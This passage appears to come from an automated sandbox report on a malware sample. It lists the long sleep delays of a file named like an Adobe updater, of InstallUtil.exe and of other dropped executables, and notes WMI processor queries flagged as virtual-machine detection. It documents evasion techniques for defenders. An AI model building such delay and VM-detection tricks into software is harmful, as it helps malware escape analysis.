Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -97719s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -97594s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -97484s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -97367s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -97266s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -97156s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -97044s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -96938s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -96813s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -96688s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -96578s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -96469s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 2920 Thread sleep time: -96328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -23058430092136925s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 4536 Thread sleep count: 1025 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -99871s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 3788 Thread sleep count: 6376 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -99750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -99640s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -99531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -99421s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -99311s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -99202s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -99094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98766s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98656s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98547s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98326s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98218s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -98109s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97999s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97891s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97438s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97313s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97188s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -97078s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -96969s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -96844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -96735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -96610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -96485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -96360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -96235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -96110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5672 Thread sleep time: -95985s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -19369081277395017s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 4712 Thread sleep count: 828 > 30
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 4712 Thread sleep count: 5223 > 30
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -99886s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -99781s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -99672s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -99563s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -99453s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -99344s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -99235s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -99110s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98985s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98857s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98747s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98641s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98531s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98422s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98313s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98188s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -98063s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97938s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97828s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97719s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97594s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97484s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97375s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97266s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97156s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -97047s >= -30000s
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe TID: 760 Thread sleep time: -96938s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -100000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5756 Thread sleep count: 1174 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -99860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -99724s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -99581s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1492 Thread sleep count: 1754 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -99453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -99323s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -99141s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -99030s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -98922s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -98810s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -98688s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -98572s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -98394s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -97907s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -97719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -97594s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -97485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6576 Thread sleep time: -97360s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2448 Thread sleep count: 1358 > 30
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -99804s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -99683s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 2448 Thread sleep count: 2400 > 30
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -99562s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -99451s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -99328s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -99157s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -98578s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -98421s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -98312s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -98203s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -98094s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -97969s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -97859s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -97747s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -97638s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -97516s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -97403s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe TID: 1524 Thread sleep time: -97292s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 6108 Thread sleep time: -60000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 1532 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2920 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 3032 Thread sleep count: 1824 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99871s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 3032 Thread sleep count: 3205 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99764s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99656s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99547s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99437s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99326s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99219s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99108s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -98891s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -98782s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -98657s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -98526s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -98391s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97990s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97827s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97718s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97607s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97500s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97384s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97270s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97141s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 892 Thread sleep time: -97030s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5880 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6824 Thread sleep count: 1689 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -99858s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -99717s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -99609s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6824 Thread sleep count: 2685 > 30
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -99499s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -99390s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -99273s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -98875s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -98761s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -98649s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -98506s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -98375s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -98265s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -98156s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -98047s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -97922s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -97812s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -97703s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -97594s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -97469s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 6044 Thread sleep time: -97359s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 5756 Thread sleep time: -922337203685477s >= -30000s
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\SysWOW64\cmd.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 3000000 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 2999874 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 2999765 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 2999646 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 2999515 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 2999406 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 2999296 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 2999187 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 2999078 Jump to behavior
Source: C:\Users\user\Desktop\rthh9q2PDv.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 100000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 99828 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 99660 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 99250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 99047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98937 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98828 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98484 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98375 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98265 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98139 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 98031 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97812 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97703 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97593 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97484 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97375 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97265 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97151 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 97047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96937 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96827 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp40CA.tmp.exe Thread delayed: delay time: 96716 Jump to behavior
